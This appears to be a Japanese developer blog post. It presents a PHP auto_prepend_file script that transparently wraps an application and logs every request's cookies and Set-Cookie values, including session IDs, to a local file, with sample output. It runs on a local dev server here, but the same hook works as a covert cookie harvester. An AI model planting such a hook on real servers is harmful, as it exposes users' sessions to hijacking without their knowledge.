🍣

PHPで元のコードを尊重しつつ、Cookieを盗む

2021/06/23に公開

前回の別例になるんですが、「セッションは簡単すぎるし、session_dirを漁ればもっと安全なのでは?」という話もあり、クッキーを盗む例もおいておきますね。Cookieならサーバーにないからね、どうかな?

こういうアプリがあるとして、

<?php
## Cookie is yum.
if (!isset($_COOKIE['cookie-counter'])) {
    $counter = 0;
} else {
    $counter = (int)$_COOKIE['cookie-counter'];
}
$counter++;
echo "<h2>counter:$counter</h2>";
setcookie('cookie-counter', $counter);
setcookie('last-visit', time());

こういうのをauto_prepend_fileにセットして盗む。

<?php // steal-cookie.php
# capture COOKIE.
$pre_cookie = $_COOKIE ?? [];

ob_start();
@include($_SERVER['SCRIPT_FILENAME']);
echo $____output = ob_get_clean();

# check new COOKIE (check Set-Cookie header).
$header_list = headers_list();
$set_cookie_list = [];
foreach ($header_list as $line) {
    if (preg_match('/\ASet-Cookie:[ ]*(.*)\z/ui', $line, $_) > 0) {
        // Cookie params are disposed. almost unnecessary for me.
        $set_cookie_key_val = explode(';', $_[1], 2);
        list($new_cookie_key, $new_cookie_val) = explode('=', $set_cookie_key_val[0], 2);
        if (strlen($new_cookie_key) === 0) continue; // maybe broken.
        $set_cookie_list[$new_cookie_key] = $new_cookie_val;
    }
}

# over write old $_COOKIE by Set-Cookie.
# DELETE COOKIE IS NOT SUPPORT YET.
$after_cookie = $pre_cookie;
foreach ($set_cookie_list as $new_cookie_key => $new_cookie_val) {
    $after_cookie[$new_cookie_key] = $new_cookie_val;
}

# save.
@file_put_contents(
    'my-bag.ndjson',
    @json_encode(
        [
            'pre_cookie' => $pre_cookie,
            'after_cookie' => $after_cookie,
        ],
        JSON_UNESCAPED_UNICODE
    ),
    FILE_APPEND
);

exit();

使い方は同じです

$ php  -d auto_prepend_file=steal-cookie.php -S 127.0.0.1:3000
{
  "pre_cookie": {
    "PHPSESSID": "0ipnnhvpphcdt4l5p7ugr4s455",
    "last-visit": "1624443777",
    "cookie-counter": "31"
  },
  "after_cookie": {
    "PHPSESSID": "0ipnnhvpphcdt4l5p7ugr4s455",
    "last-visit": "1624443781",
    "cookie-counter": "32"
  }
}

https://github.com/uzulla/sneak-thief.php

便利。

Discussion